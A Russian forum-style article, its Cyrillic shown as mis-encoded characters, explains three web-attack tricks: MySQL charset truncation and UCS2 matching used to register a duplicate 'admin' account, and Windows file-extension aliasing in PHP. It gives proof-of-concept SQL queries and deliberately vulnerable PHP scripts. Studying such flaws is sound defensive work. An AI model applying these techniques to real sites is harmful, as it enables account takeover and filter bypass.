Ìàëîèçâåñòíûå ñïîñîáû àòàê íà web-ïðèëîæåíèÿ

1.0 Mysql charset Truncation vulnerability

Ïîìíèòå áàãó MySQL and SQL Column Truncation Vulnerabilities?
Òàê âîò, ýòî íå åäèíñòâåííàÿ óÿçâèìîñòü òàêîãî ðîäà â MySQL. Ñóùåñòâóåò òàêæå óÿçâèìîñòü, êîòîðàÿ ïðîÿâëÿåòñÿ â äàííîé ÑÓÁÄ ïðè îáðàáîòêå utf-8 è íåêîòîðûõ äðóãèõ ñèìâîëîâ.
Èçó÷àåì è òåñòèì ñëåäóþùèå çàïðîñû
Êîä:
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec)
Äàëåå ñìîòðèì, ÷òî çàïèñàëîñü â òàáëèöó truncated_test
Êîä:
mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | | 3 | admin | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec)
Êàê âèäèòå, ó íàñ ïîÿâèëñÿ íîâûé ïîëüçîâàòåëü "admin" (à âîâñå íèêàêîé íå "adminÁ") ñ ïàðîëåì "new_pass2" ;-)

2.0 MySQL and Unicode hints

Íà î÷åðåäè î÷åðåäíàÿ áàãà îò .mario - èçâåñòíîãî áàãîèñêàòåëÿ ôîðóìà sla.ckers.org.
Âî-ïåðâûõ, ïðóôëèíê.
Âî-âòîðûõ, î ñóòè ñàìîé áàãè ðàññêàæåò ñëåäóþùèé êîä.
Êîä:
#ñìîòðèì, ÷òî ìû õîòèì èçâëå÷ü (ýòî þíèêîä ÿâíî íå ïîõîæ íà îáû÷íûé ëîãèí "admin" ëàòèíèöåé) select (_ucs2 0x01df010e004d00cf0148); #èçâëåêàåì SELECT * FROM wp_users WHERE user_login IN (_ucs2 0x01df010e004d00cf0148);
Ïîñëå âûïîëíåíèÿ ïîñëåäíåãî çàïðîñà, êàê ýòî íè ñòðàííî, èç áàçû èçâëåêàåòñÿ ïðîñòî ïîëüçîâàòåëü "admin" ;)
Èñïîëüçîâàòü äàííûé áàã ìîæíî, íàïðèìåð, â ñëåäóþùåì ñëó÷àå:
Êîä:
<?php // register.php $user = mysql_real_escape_string($_GET['user']); $pass = mysql_real_escape_string($_GET['pass']); if(trim($user) == "admin") { exit("admin already exists"); } $result = mysql_query("INSERT INTO users (name, pass) VALUES ('".$user."','".$pass."'"); ?>
è äàëåå
Êîä:
<?php // admin.php $pass = mysql_real_escape_string($_GET['pass']); $result = mysql_query("SELECT * FROM users WHERE user = 'admin' AND pass = '".$pass."'"); if($data = @mysql_fetch_array($result)) { echo "Welcome admin"; } ?>
Òî åñòü, ïðîâåðêà íà ñóùåñòâóþùèé ëîãèí äîëæíà îñóùåñòâëÿòüñÿ íå ïóòåì çàïðîñà ê áàçå, à ïóòåì ïðîâåðêè, âñòðîåííîé â ñàì ñêðèïò.

3.0 Ìàíèïóëÿöèè ñ ðàñøèðåíèåì ôàéëà â Windows

Ëó÷øå âñåãî î ñóòè ýòîé áàãè ðàññêàæåò íåáîëüøîé òåñò.
Èòàê, ñîçäàåì â îäíîì êàòàëîãå ôàéëû 1.php è test.php.
 ïîñëåäíèé ïèõàåì ñëåäóþùèé êîä:
Êîä:
<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ?>
Çàïóñêàåì è âèäèì ðåçóëüòàò > < p P.
Êàê âèäíî, file_get_contents() ïðî÷èòàåò ôàéë 1.php, äàæå åñëè â ñêðèïòå åãî îáîçâàòü êàê 1.phP, 1.ph>, 1.ph<.
ÇÛ. Îðèãèíàëüíûå èññëåäîâàíèÿ ýòèõ è äðóãèõ áàãîôè÷ èùè ó êèòàéöåâ (è íà êèòàéñêîì, ñîîòâåòñòâåííî :) òóò.